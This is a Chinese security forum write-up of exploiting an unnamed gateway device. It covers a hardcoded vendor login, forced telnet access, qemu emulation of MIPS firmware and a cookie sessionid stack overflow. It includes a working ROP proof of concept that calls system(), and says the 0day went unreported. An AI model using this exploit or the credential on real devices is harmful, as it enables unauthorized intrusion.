查看原文
其他

记一次网关设备的pwn

零加一 看雪学苑 2022-07-01

本文为看雪论坛精华文章

看雪论坛作者ID:零加一



前  言


在这次出差时,对甲方办公网备进行了渗透测试。

 

期间搞断网了好几次,最后在领导的要求下就没在用真实设备来做测试了。
所以此次pwn测试使用了qemu进行模拟.

 

由于真实设备没路子搞到,也不知道设备所属厂商是谁,所以也没进行上报,算是一个0day吧。



一  获取设备shell


先来看看web登录界面如下:


在之前购买相同登录界面的设备固件中发现内置了一个帐号

telecomadmin/nE7jA%5m。


登录成功:


如此看来该系列都会内置如此的帐号。


随后查看了一圈功能发现了拥有telnet服务,但是没有开启,也有别的rce漏洞可以用,这里直接强行开启telnet服务。


通过修改前端的html标签的属性成功开启了telnet服务:


登录telnet后并打包系统:


系统文件



二  模拟环境


通过端口查看到web服务对应的进程是/bin/boa的文件,架构是mips大端。
直接使用qemu来模拟执行,需要修改boa里一点点代码逻辑即可成功运行,不做多描述。


cmd输入命令:

chroot ./ ./qemu-mips-static -strace ./bin/boa1

因为缺失很多硬件的数据,所以这里只能访问到基本的页面。



三  漏洞挖掘


IDA查看部分函数:

存在漏洞的函数
search_login_list
get_sessionid_from_cookie
可以看到,在get_sessionid_from_cookie函数中并没有指定sessionid的长度。

通过qemu添加-g来可以通过ida来调试

栈溢出

sscanf执行前

可以看到,a2由s0来指定,s0的值是0x407FFD28:

0x407FFD54是返回地址


sscanf执行后,
可以看出,这一整块栈数据都被'a'填充了,包括返回地址:

 由此证明,可以通过超长的sessionid来进行栈溢出攻击。



四  漏洞利用


通过ida的插件mipsrop在libmib.so寻找到大量的rop,最终选定可用的两个:




通过该rop调用system,由上面代码可以看出:


计算出payload的大小为:0x23C-0x20=0x21C

sp+0x20为payload,sp+0x23C为system函数地址。


构造的PoC如下:

from socket import *HOST='192.168.92.129'PORT=80BUFSIZE=1024ADDR=(HOST, PORT)tcpCliSock=socket(AF_INET, SOCK_STREAM)tcpCliSock.connect(ADDR)rop_ImageBase=0x3FECB000rop_offset_1=0x000ACCE0rop_offset_2=0x0001DAB8rop_Addr_1=rop_ImageBase+rop_offset_1rop_Addr_2=rop_ImageBase+rop_offset_2libc_ImageBase=0x3fa8e000_system=0x0005EDD0 Function=_system+libc_ImageBaseprint(hex(Function))MaxShellBufSize=0x21CShell=b"echo PwnByWowfk"Shell+=b"&echo "FkData=b"aaaa"*11 #填充栈到返回地址FkData+=rop_Addr_1.to_bytes(4,"big") #ra 跳转到rop_1设置a0参数FkData+=b"aaaa"*8FkData+=Shell+b'a'*(MaxShellBufSize-len(Shell))FkData+=Function.to_bytes(4,"big") #s0 用于调用apiFkData+=b'None' #s1FkData+=rop_Addr_2.to_bytes(4,"big") #ra 由rop_1调用跳转到rop_2FkData+=b'\0'print(len(FkData)) data=b"""GET /wowfk HTTP/1.1Cookie: sessionid=%s """%FkDataprint(data)tcpCliSock.send(data)while True: data=tcpCliSock.recv(BUFSIZE) if not data: break print (data.decode("gbk","ignore"))tcpCliSock.close()


最后执行效果如下:



五  结语


qemu的模拟对imagebase查看的话,用IDA附加后在main下断点,然后在qemu加-strace可以在输入信息可以看到。


第一次搞mips的pwn磕磕碰碰了许久才折腾成功,学到了很多东西。由此发文记录一下~


- End -




看雪ID:零加一

https://bbs.pediy.com/user-home-749276.htm

  *本文由看雪论坛 零加一 原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年秋季班火热招生中!



# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存